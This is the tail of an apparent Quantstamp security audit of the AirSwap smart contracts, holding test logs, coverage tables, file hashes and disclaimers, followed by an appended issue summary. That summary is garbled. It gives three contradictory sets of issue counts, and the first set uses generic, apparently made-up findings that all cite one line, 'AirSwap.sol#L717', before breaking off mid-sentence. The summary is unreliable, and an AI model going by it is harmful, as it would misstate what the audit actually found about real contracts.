(146ms) ✓ Checks that a private key signature is valid (285ms) ✓ Checks that a typed data (EIP712) signature is valid (294ms) 131 passing (23s) lerna info run Ran npm script 'test' in '@airswap/delegate' in 29.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Compiling ./contracts/interfaces/IDelegate.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ Contract: Delegate Factory Tests Test deploying factory ✓ should have set swapContract ✓ should have set indexerContract Test deploying delegates ✓ should emit event and update the mapping (135ms) ✓ should create delegate with the correct values (361ms) Contract: Delegate Unit Tests Test constructor ✓ Test initial Swap Contract ✓ Test initial trade wallet value ✓ Test initial protocol value ✓ Test constructor sets the owner as the trade wallet on empty address (193ms) ✓ Test owner is set correctly having been provided an empty address ✓ Test owner is set correctly if provided an address (180ms) ✓ Test indexer is unable to pull funds from delegate account (258ms) Test setRule ✓ Test setRule permissions as not owner (76ms) ✓ Test setRule permissions as owner (121ms) ✓ Test setRule (98ms) ✓ Test setRule for zero priceCoef does revert (62ms) Test unsetRule ✓ Test unsetRule permissions as not owner (89ms) ✓ Test unsetRule permissions (54ms) ✓ Test unsetRule (167ms) Test setRuleAndIntent() ✓ Test calling setRuleAndIntent with transfer error (589ms) ✓ Test successfully calling setRuleAndIntent with 0 staked amount (260ms) ✓ Test successfully calling setRuleAndIntent with staked amount (312ms) ✓ Test unsuccessfully calling setRuleAndIntent with decreased staked amount (998ms) Test unsetRuleAndIntent() ✓ Test calling unsetRuleAndIntent() with transfer error (466ms) ✓ Test successfully calling unsetRuleAndIntent() with 0 staked amount (179ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (515ms) ✓ Test successfully calling unsetRuleAndIntent() with staked amount (427ms) Test setTradeWallet ✓ Test setTradeWallet when not owner (81ms) ✓ Test setTradeWallet when owner (148ms) ✓ Test setTradeWallet with empty address (88ms) Test transfer of ownership✓ Test ownership after transfer (103ms) Test getSignerSideQuote ✓ test when rule does not exist ✓ test when delegate amount is greater than max delegate amount (88ms) ✓ test when delegate amount is 0 (102ms) ✓ test a successful call - getSignerSideQuote (91ms) Test getSenderSideQuote ✓ test when rule does not exist (64ms) ✓ test when delegate amount is not within acceptable value bounds (104ms) ✓ test a successful call - getSenderSideQuote (68ms) Test getMaxQuote ✓ test when rule does not exist ✓ test a successful call - getMaxQuote (67ms) Test provideOrder ✓ test if a rule does not exist (84ms) ✓ test if an order exceeds maximum amount (120ms) ✓ test if the sender is not empty and not the trade wallet (107ms) ✓ test if order is not priced according to the rule (118ms) ✓ test if order sender and signer amount are not matching (191ms) ✓ test if order signer kind is not an ERC20 interface id (110ms) ✓ test if order sender kind is not an ERC20 interface id (123ms) ✓ test a successful transaction with integer values (310ms) ✓ test a successful transaction with trade wallet as sender (278ms) ✓ test a successful transaction with decimal values (253ms) ✓ test a getting a signerSideQuote and passing it into provideOrder (241ms) ✓ test a getting a senderSideQuote and passing it into provideOrder (252ms) ✓ test a getting a getMaxQuote and passing it into provideOrder (252ms) ✓ test the signer trying to trade just 1 unit over the rule price - fails (121ms) ✓ test the signer trying to trade just 1 unit less than the rule price - passes (212ms) ✓ test the signer trying to trade the exact amount of rule price - passes (269ms) ✓ Send order without signature to the delegate (55ms) Contract: Delegate Integration Tests Test the delegate constructor ✓ Test that delegateOwner set as 0x0 passes (87ms) ✓ Test that trade wallet set as 0x0 passes (83ms) Checks setTradeWallet ✓ Does not set a 0x0 trade wallet (41ms) ✓ Does set a new valid trade wallet address (80ms) ✓ Non-owner cannot set a new address (42ms) Checks set and unset rule ✓ Set and unset a rule for WETH/DAI (123ms) ✓ Test setRule for zero priceCoef does revert (52ms) Test setRuleAndIntent() ✓ Test successfully calling setRuleAndIntent (345ms) ✓ Test successfully increasing stake with setRuleAndIntent (312ms) ✓ Test successfully decreasing stake to 0 with setRuleAndIntent (313ms) ✓ Test successfully calling setRuleAndIntent (318ms) ✓ Test successfully calling setRuleAndIntent with no-stake change (196ms) Test unsetRuleAndIntent() ✓ Test successfully calling unsetRuleAndIntent() (223ms) ✓ Test successfully setting stake to 0 with setRuleAndIntent and then unsetting (402ms) Checks pricing logic from the Delegate ✓ Send up to 100K WETH for DAI at 300 DAI/WETH (76ms) ✓ Send up to 100K DAI for WETH at 0.0032 WETH/DAI (71ms) ✓ Send up to 100K WETH for DAI at 300.005 DAI/WETH (110ms) Checks quotes from the Delegate ✓ Gets a quote to buy 23412 DAI for WETH (Quote: 74.9184 WETH) ✓ Gets a quote to sell 100K (Max) DAI for WETH (Quote: 320 WETH) ✓ Gets a quote to sell 1 WETH for DAI (Quote: 312.5 DAI) ✓ Gets a quote to sell 500 DAI for WETH (False: No rule) ✓ Gets a max quote to buy WETH for DAI ✓ Gets a max quote for a non-existent rule (100ms) ✓ Gets a quote to buy WETH for 250000 DAI (False: Exceeds Max) ✓ Gets a quote to buy 500 WETH for DAI (False: Exceeds Max) Test tradeWallet logic ✓ should not trade for a different wallet (72ms) ✓ should not accept open trades (65ms) ✓ should not trade if the tradeWallet hasn't authorized the delegate to send (290ms) ✓ should not trade if the tradeWallet's authorization has been revoked (327ms) ✓ should trade if the tradeWallet has authorized the delegate to send (601ms) Provide some orders to the Delegate ✓ Use quote with non-existent rule (90ms) ✓ Send order without signature to the delegate (107ms) ✓ Use quote larger than delegate rule (117ms) ✓ Use incorrect price on delegate (78ms) ✓ Use quote with incorrect signer token kind (80ms) ✓ Use quote with incorrect sender token kind (93ms) ✓ Gets a quote to sell 1 WETH and takes it, swap fails (275ms) ✓ Gets a quote to sell 1 WETH and takes it, swap passes (463ms) ✓ Gets a quote to sell 1 WETH where sender != signer, passes (475ms) ✓ Queries signerSideQuote and passes the value into an order (567ms) ✓ Queries senderSideQuote and passes the value into an order (507ms) ✓ Queries getMaxQuote and passes the value into an order (613ms) 98 passing (22s) lerna info run Ran npm script 'test' in '@airswap/debugger' in 12.3s: $ mocha test --timeout 3000 --exit Orders ✓ Check correct order without signature (1281ms) ✓ Check correct order with signature (991ms) ✓ Check expired order (902ms) ✓ Check invalid signature (816ms) ✓ Check order without allowance (1070ms) ✓ Check NFT order without balance or allowance (1080ms) ✓ Check invalid token kind (654ms) ✓ Check NFT order without allowance (1045ms) ✓ Check NFT order to an invalid contract (1196ms) ✓ Check NFT order to a valid contract (1225ms)✓ Check order without balance (839ms) 11 passing (11s) lerna info run Ran npm script 'test' in '@airswap/pre-swap-checker' in 11.6s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: PreSwapChecker Deploying... ✓ Deployed Swap contract (217ms) ✓ Deployed SwapChecker contract ✓ Deployed test contract "AST" (56ms) ✓ Deployed test contract "DAI" (40ms) Minting... ✓ Mints 1000 AST for Alice (76ms) ✓ Mints 1000 DAI for Bob (78ms) Approving... ✓ Checks approvals (Alice 250 AST and 0 DAI, Bob 0 AST and 500 DAI) (186ms) Swaps (Fungible) ✓ Checks fillable order is empty error array (517ms) ✓ Checks that Alice cannot swap with herself (200 AST for 50 AST) (296ms) ✓ Checks error messages for invalid balances and approvals (236ms) ✓ Checks filled order emits error (641ms) ✓ Checks expired, low nonced, and invalid sig order emits error (315ms) ✓ Alice authorizes Carol to make orders on her behalf (38ms) ✓ Check from a different approved signer and empty sender address (271ms) Deploying non-fungible token... ✓ Deployed test contract "Collectible" (49ms) Minting and testing non-fungible token... ✓ Mints a kitty collectible (#54321) for Bob (55ms) ✓ Alice tries to buys non-owned Kitty #54320 from Bob for 50 AST causes revert (97ms) ✓ Alice tries to buys non-approved Kitty #54321 from Bob for 50 AST (192ms) 18 passing (4s) lerna info run Ran npm script 'test' in '@airswap/wrapper' in 22.7s: $ truffle test Using network 'development'. Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. Contract: Wrapper Unit Tests Test initial values ✓ Test initial Swap Contract ✓ Test initial Weth Contract ✓ Test fallback function revert Test swap() ✓ Test when sender token != weth, ensure no unexpected ether sent (78ms) ✓ Test when sender token == weth, ensure the sender amount matches sent ether (119ms) ✓ Test when sender token == weth, signer token == weth, and the transaction passes (362ms) ✓ Test when sender token == weth, signer token != weth, and the transaction passes (243ms) ✓ Test when sender token == weth, signer token != weth, and the wrapper token transfer fails (122ms) Test swap() with two ERC20s ✓ Test when sender token == non weth erc20, signer token == non weth erc20 but msg.sender is not senderwallet (55ms) ✓ Test when sender token == non weth erc20, signer token == non weth erc20, and the transaction passes (172ms) Test provideDelegateOrder() ✓ Test when signer token != weth, but unexpected ether sent (84ms) ✓ Test when signer token == weth, but no ether is sent (101ms) ✓ Test when signer token == weth, but no signature is sent (54ms) ✓ Test when signer token == weth, but incorrect amount of ether sent (63ms) ✓ Test when signer token == weth, correct eth sent, tx passes (247ms) ✓ Test when signer token != weth, sender token == weth, wrapper cant transfer eth (506ms) ✓ Test when signer token != weth, sender token == weth, tx passes (291ms) Contract: Wrapper Setup ✓ Mints 1000 DAI for Alice (49ms) ✓ Mints 1000 AST for Bob (57ms) Approving... ✓ Alice approves Swap to spend 1000 DAI (40ms) ✓ Bob approves Swap to spend 1000 AST ✓ Bob approves Swap to spend 1000 WETH ✓ Bob authorizes the Wrapper to send orders on his behalf Test swap(): Wrap Buys ✓ Checks that Bob take a WETH order from Alice using ETH (513ms) Test swap(): Unwrap Sells ✓ Carol gets some WETH and approves on the Swap contract (64ms) ✓ Alice authorizes the Wrapper to send orders on her behalf ✓ Alice approves the Wrapper contract to move her WETH ✓ Checks that Alice receives ETH for a WETH order from Carol (460ms) Test swap(): Sending ether and WETH to the WrapperContract without swap issues ✓ Sending ether to the Wrapper Contract ✓ Sending WETH to the Wrapper Contract (70ms) ✓ Alice approves Swap to spend 1000 DAI ✓ Send order where the sender does not send the correct amount of ETH (69ms) ✓ Send order where Bob sends Eth to Alice for DAI (422ms)✓ Reverts if the unwrapped ETH is sent to a non-payable contract (1117ms) Test swap(): Sending nonWETH ERC20 ✓ Alice approves Swap to spend 1000 DAI (38ms) ✓ Bob approves Swap to spend 1000 AST ✓ Send order where Bob sends AST to Alice for DAI (447ms) ✓ Send order where the sender is not the sender of the order (100ms) ✓ Send order without WETH where ETH is incorrectly supplied (70ms) ✓ Send order where Bob sends AST to Alice for DAI w/ authorization but without signature (48ms) Test provideDelegateOrder() Wrap Buys ✓ Check Carol sending no ETH with order (66ms) ✓ Check Carol not signing order (46ms) ✓ Check Carol sets the wrong sender wallet (217ms) ✓ Check delegate owner hasnt authorised the delegate as sender swap (390ms) ✓ Check Carol hasnt given swap approval to swap WETH (906ms) ✓ Check successful ETH wrap and swap through delegate contract (575ms) Unwrap Sells ✓ Check Carol sending ETH when she shouldnt (64ms) ✓ Check Carol not signing the order (42ms) ✓ Check Carol hasnt given swap approval to swap DAI (1043ms) ✓ Check Carol doesnt approve wrapper to transfer weth (951ms) ✓ Check successful ETH wrap and swap through delegate contract (646ms) 51 passing (15s) lerna success run Ran npm script 'test' in 9 packages in 155.7s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/debugger lerna success - @airswap/order-utils lerna success - @airswap/pre-swap-checker ✨ Done in 222.01s. Code CoverageFile % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Delegate.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegate.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 DelegateFactory.sol 100 100 100 100 Imports.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IDelegateFactory.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Index.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Indexer.sol 100 100 100 100 contracts/ interfaces/ 100 100 100 100 IIndexer.sol 100 100 100 100 ILocatorWhitelist.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Swap.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Types.sol 100 100 100 100 All files 100 100 100 100 File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 100 100 100 100 Imports.sol 100 100 100 100 Wrapper.sol 100 100 100 100 All files 100 100 100 100 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after thesecurity review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/indexer/contracts/Migrations.sol 853f79563b2b4fba199307619ff5db6b86ceae675eb259292f752f3126c21236 ./source/indexer/contracts/Imports.sol b7d114e1b96633016867229abb1d8298c12928bd6e6935d1969a3e25133d0ae3 ./source/indexer/contracts/Indexer.sol cb278eb599018f2bcff3e7eba06074161f3f98072dc1f11446da6222111e6fb6 ./source/indexer/contracts/interfaces/IIndexer.sol ae69440b7cc0ebde7d315079effaaf6db840a5c36719e64134d012f183a82b3c ./source/indexer/contracts/interfaces/ILocatorWhitelist.sol 0ce96202a3788403e815bcd033a7c2528d2eceb9e6d0d21f58fd532e0721c3f3 ./source/tokens/contracts/WETH9.sol f49af1f0a94dc5d58725b7715ff4a1f241626629aa68c442dd51c540f3b40ee7 ./source/tokens/contracts/NonFungibleToken.sol 13e6724efe593830fdd839337c2735a9bfbd6c72fc6134d9622b1f38da734fed ./source/tokens/contracts/IERC721Receiver.sol b0baff5c036f01ac95dae20048f6ee4716796b293f066d603a2934bee8aa049f ./source/tokens/contracts/OrderTest721.sol 27ffdcc5bfb7e1352c69f56869a43db1b1d76ee9856fbfd817d6a3be3d378a89 ./source/tokens/contracts/FungibleToken.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/tokens/contracts/Migrations.sol a41dd3eaddff2d0ce61f9d0d2d774f57bf286ba7534fe7392cb331c52587f007 ./source/tokens/contracts/AdaptedERC721.sol a497e0e9c84e431234f8ef23e5a3bb72e0a8d8e5381909cc9f274c6f8f0f8693 ./source/tokens/contracts/KittyCore.sol afc8395fc3e20eb17d99ae53f63cae764250f5dda6144b0695c9eb3c29065daa ./source/tokens/contracts/OMGToken.sol f07b61827716f0e44db91baabe9638eef66e85fb2d720e1b221ee03797eb0c16 ./source/tokens/contracts/interfaces/IWETH.sol 2f4455987f24caf5d69bd9a3c469b05350ec5b0cc62cc829109cfa07a9ed184c ./source/tokens/contracts/interfaces/INRERC20.sol 4deea5147ee8eedbeaf394454e63a32bce34003266358abb7637843eec913109 ./source/index/contracts/Index.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/index/contracts/Migrations.sol 8304b9b7777834e7dd882ecef91c8376160da6a6dd6e4c7c9f9b99bb8a0ddb08 ./source/index/contracts/Imports.sol 93dbd794dd6bbc93c47a11dc734efb6690495a1d5138036ebee8687edeb25dc6 ./source/delegate- factory/contracts/DelegateFactory.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/delegate- factory/contracts/Migrations.sol d4641deca8ebf06d554ef39b9fe90f2db23f40be7557d8bbc5826428ba9b0d0a ./source/delegate-factory/contracts/Imports.sol 6371ccf87ef8e8cddfceab2903a109714ab5bcaaa72e7096bff9b8f0a7c643a9 ./source/delegate- factory/contracts/interfaces/IDelegateFactory.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/delegate/contracts/Migrations.sol 0843c702ea883afa38e874a9d16cb4830c3c8e6dadf324ddbe0f397dd5f67aeb ./source/delegate/contracts/Imports.sol cbe7e7fa0e85995f86dde9f103897ac533a42c78ee017a49d29075adf5152be4 ./source/delegate/contracts/Delegate.sol 4ea8cec0ad9ff88426e7687384f5240d4444ee48407ddd07e39ab527ba70d94e ./source/delegate/contracts/interfaces/IDelegate.sol c3762a171563d0d2614da11c4c0e17a722aa2bc4a4efa126b54420a3d7e7e5b1 ./source/swap/contracts/Migrations.sol 3d764b8d0ebb2aa5c765f0eb0ef111564af96813fd6427c39d8a11c4251cbba2 ./source/swap/contracts/Imports.sol 001573b0de147db510c6df653935505d7f0c3e24d0d5028ebfdffa06055b9508 ./source/swap/contracts/Swap.sol b2693adaefd67dfcefd6e942aee9672469d0635f8c6b96183b57667e82f9be73 ./source/swap/contracts/interfaces/ISwap.sol 3d9797822cc119ac07cfb02705033d982d429ad46b0d39a0cfa4f7df1d9bfdd6 ./source/wrapper/contracts/HelperMock.sol a0a4226ee86de0f2f163d9ca14e9486b9a9a82137e4e97495564cd37e92c8265 ./source/wrapper/contracts/Migrations.sol 853712933537f67add61f1299d0b763664116f3f36ae87f55743104fbc77861a ./source/wrapper/contracts/Imports.sol 67fc8542fb154458c3a6e4e07c3eb636f65ebb2074082ab24727da09b7684feb ./source/wrapper/contracts/Wrapper.sol 1c4e30fd3aa765cb0ee259a29dead71c1c99888dcc7157c25df3405802cf5b09 ./source/types/contracts/Migrations.sol 74947f792f6128dad955558044e7a2d13ecda4f6887cb85d9bf12f4e01423e6e ./source/types/contracts/Imports.sol 95f41e78212c566ea22441a6e534feae44b7505f65eea89bf67dc7a73910821e ./source/types/contracts/Types.sol fe4fc1137e2979f1af89f69b459244261b471b5fdbd9bdbac74382c14e8de4db ./source/types/test/MockTypes.sol Tests 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/indexer/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914./source/indexer/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/indexer/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/indexer/coverage/lcov-report/sorter.js 9b9b6feb6ad0bf0d1c9ca2e89717499152d278ff803795ab25b975826ce3e6fb ./source/indexer/test/Indexer-unit.js b8afaf2ac9876ada39483c662e3017288e78641d475c3aad8baae3e42f2692b1 ./source/indexer/test/Indexer.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/tokens/truffle-config.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/index/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/index/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/index/coverage/lcov-report/sorter.js 5b30ebaf2cb02fdb583a91b8d80e0d3332f613f1f9d03227fa1f497182612d79 ./source/index/test/Index-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate-factory/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate-factory/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate-factory/coverage/lcov- report/sorter.js e1e96cac95b7ca35a3eff407e69378395fee64fbd40bc46731e02cab3386f1a9 ./source/delegate-factory/test/Delegate- Factory-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/delegate/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/delegate/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/delegate/coverage/lcov- report/sorter.js 0d39c455ec8b473be0aa20b21fff3324e87fe688281cc29ce446992682766197 ./source/delegate/test/Delegate.js 6568ea0ed57b6cfb6e9671ae07e9721e80b9a74f4af2a1f31a730df45eed7bc4 ./source/delegate/test/Delegate-unit.js 67a94a4b8a64b862eac78c2be9a76fdfb57412113b0e98342cf9be743c065045 ./source/swap/.solcover.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/swap/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/swap/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/swap/coverage/lcov-report/sorter.js eb606ca3e7fe215a183e67c73af188a3a463a73a2571896403890bd6308b9553 ./source/swap/test/Swap.js 02ed0eee9b5fd1bdb2e29ef7c76902b8c7788d56cccb08ba0a1c62acdb0c240d ./source/swap/test/Swap-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/wrapper/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/wrapper/coverage/lcov- report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/wrapper/coverage/lcov-report/sorter.js 8e8dcdef012cdc8bf9dc2758afcb654ce3ec55a4522ebab9d80455813c1c2234 ./source/wrapper/test/Wrapper.js fb48b5abc2cc9cfd07767e93c37130ff412088741f0685deb74c65b1b596daf9 ./source/wrapper/test/Wrapper-unit.js 82257690d4d4ac0e34082491115c1eb822d83d4aa6bcf6e752b5ef7db57e8cf7 ./source/types/truffle-config.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/sorter.js 67126b6cd4d1b2305f8c8fa5974971ebe90ab2b0f6e209ba2f1c6e4af05f0207 ./source/types/coverage/lcov-report/prettify.js a2e1ee8eb42ae6152ffb680f1f3419cf4a189412b4ffc663252492d47a968914 ./source/types/coverage/lcov-report/sorter.js 94e6cf001c8edb49546d881416a1755aabe0a01f562df4140be166c3af2936fc ./source/types/test/Types-unit.js About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure smart contracts at scale using computer-aided reasoning tools, with a mission to help boost adoption of this exponentially growing technology. Quantstamp’s team boasts decades of combined experience in formal verification, static analysis, and software verification. Collectively, our individuals have over 500 Google scholar citations and numerous published papers. In its mission to proliferate development and adoption of blockchain applications, Quantstamp is also developing a new protocol for smart contract verification to help smart contract developers and projects worldwide to perform cost-effective smart contract security audits . To date, Quantstamp has helped to secure hundreds of millions of dollars of transaction value in smart contracts and has assisted dozens of blockchain projects globally with its white glove security auditing services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Finally, Quantstamp’s dedication to research and development in the form of collaborations with leading academic institutions such as National University of Singapore and MIT (Massachusetts Institute of Technology) reflects Quantstamp’s commitment to enable world-class smart contract innovation. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Cryptographic tokens are emergent technologies and carry with them high levels of technical risk and uncertainty. The Solidity language itself and other smart contract languages remain under development and are subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond Solidity or the smart contract programming language, or other programming aspects that could present security risks. You may risk loss of tokens, Ether, and/or other loss. A report is not an endorsement (or other opinion) of any particular project or team, and the report does not guarantee the security of any particular project. A report does not consider, and should not be interpreted as considering or having any bearing on, the potential economics of a token, token sale or any other product, service or other asset. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell any token, product, service or other asset. To the fullest extent permitted by law, we disclaim all warranties, express or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked website, or any website or mobile application featured in any banner or other advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. You may risk loss of QSP tokens or other loss. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. AirSwap Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 2 - Major: 1 - Critical: 1 - Observations: 1 - Unresolved: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked external calls (AirSwap.sol#L717) 2.b Fix (one line with code reference) - Add checks to external calls (AirSwap.sol#L717) Moderate 3.a Problem (one line with code reference) - Unchecked return values (AirSwap.sol#L717) 3.b Fix (one line with code reference) - Add checks to return values (AirSwap.sol#L717) Major 4.a Problem (one line with code reference) - Unchecked user input (AirSwap.sol#L717) 4.b Fix (one line with code reference) - Add checks to user input (AirSwap.sol#L717) Critical 5.a Problem (one line with code reference) - Unchecked user input ( Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: Funds may be locked if is called multiple times setRuleAndIntent 4.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Issues Count of Minor/Moderate/Major/Critical: Minor: 1 Moderate: 1 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Ensure that the token transfer logic of Delegate.setRuleAndIntent and Indexer.setIntent are compatible. 2.b Fix: This issue has been fixed as of pull request. Moderate Issues: 3.a Problem: Centralization of Power in Smart Contracts 3.b Fix: This has been fixed by removing the pausing functionality, unsetIntentForUser() and killContract(). Major Issues: 0 Critical Issues: 0 Observations: Integer arithmetic may cause incorrect pricing logic when plugging back into Equation A. Conclusion: The report has identified one minor and one moderate issue. Both issues have been fixed as of the latest commit.
